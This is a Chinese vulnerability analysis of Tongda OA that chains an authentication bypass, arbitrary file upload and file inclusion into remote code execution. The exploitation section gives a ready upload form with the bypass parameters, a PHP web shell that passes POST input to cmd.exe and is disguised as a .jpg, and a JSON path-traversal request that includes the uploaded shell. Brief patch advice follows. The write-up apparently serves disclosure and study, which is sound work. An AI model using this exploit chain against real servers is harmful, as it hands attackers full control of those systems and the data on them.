通达OA任意文件上传/文件包含GetShell
字数 1050 2025-08-25 22:58:20
通达OA任意文件上传/文件包含漏洞分析与利用
0x01 漏洞描述
通达OA系统存在一个高危安全漏洞,攻击者可以通过绕过身份认证上传任意文件,并结合文件包含功能实现远程恶意代码执行(GetShell)。该漏洞影响多个版本的通达OA系统。
0x02 影响版本
- V11
- 2017
- 2016
- 2015
- 2013
0x03 环境搭建
- 下载通达OA V11版本(密码:enqx)
- 使用解密工具对文件解密获取所有解密代码用于分析
- 直接运行EXE文件安装
- 访问localhost即可进入系统
0x04 漏洞分析
漏洞文件位置
官方补丁更新了两个关键文件:
/ispirit/im/upload.php- 修复任意文件上传漏洞/ispirit/interface/gateway.php- 修复文件包含漏洞
上传漏洞分析
-
身份认证绕过:
- 通过POST变量
$P可以绕过身份认证 $DEST_UID同样可以通过POST方式自行赋值
- 通过POST变量
-
文件上传点:
- 文件上传变量名为
ATTACHMENT - 上传函数位于
inc/utility_file.php - 系统对上传文件进行黑名单检查,但可以上传jpg格式的php代码
- 文件上传变量名为
-
黑名单限制:
$UPLOAD_FORBIDDEN_TYPE = "php,php3,php4,php5,phpt,jsp,asp,aspx,"; -
文件回显:
- 上传的文件默认不显示文件名
- 通过设置
UPLOAD_MODE和MSG_CATE变量可以回显文件名 - 文件名包含在返回的
databack数组的CONTENT字段中
文件包含漏洞分析
gateway.php文件存在文件包含漏洞:
- 通过POST传递JSON数据
- JSON中设置
url键值为恶意文件路径 - 包含路径限制为
general/、ispirit/或module/目录下的文件
0x05 漏洞利用
文件上传利用
构造上传表单:
<html>
<body>
<form action="http://127.0.0.1/ispirit/im/upload.php" method="post" enctype="multipart/form-data">
<input type="text" name='P' value=1></input>
<input type="text" name='MSG_CATE' value='file'></input>
<input type="text" name='UPLOAD_MODE' value=1></input>
<input type="text" name="DEST_UID" value=1></input>
<input type="file" name="ATTACHMENT"></input>
<input type="submit"></input>
</body>
</html>
恶意文件示例(保存为jpg格式):
<?php
$phpwsh = new COM("Wscript.Shell") or die("Create Wscript.Shell Failed!");
$exec = $phpwsh->exec("cmd.exe /c ".$_POST['cmd']."");
$stdout = $exec->StdOut();
$stroutput = $stdout->ReadAll();
echo $stroutput;
?>
上传后的文件位置:/attach/in/2003/目录下,文件名前有随机数
文件包含利用
通过gateway.php文件包含上传的恶意文件:
- 构造POST请求,JSON数据格式如下:
{
"url": "/ispirit/interface/../attach/in/2003/[随机文件名].jpg"
}
- 发送请求到
/ispirit/interface/gateway.php
0x06 修复方案
- 及时更新官方发布的补丁
- 对上传文件进行更严格的白名单验证
- 修复文件包含漏洞,限制可包含的文件路径
- 加强身份认证机制,防止绕过
0x07 总结
该漏洞组合了文件上传和文件包含两个安全问题,攻击者可以完全控制服务器。建议所有使用通达OA系统的用户立即检查版本并更新补丁,同时加强服务器的安全监控。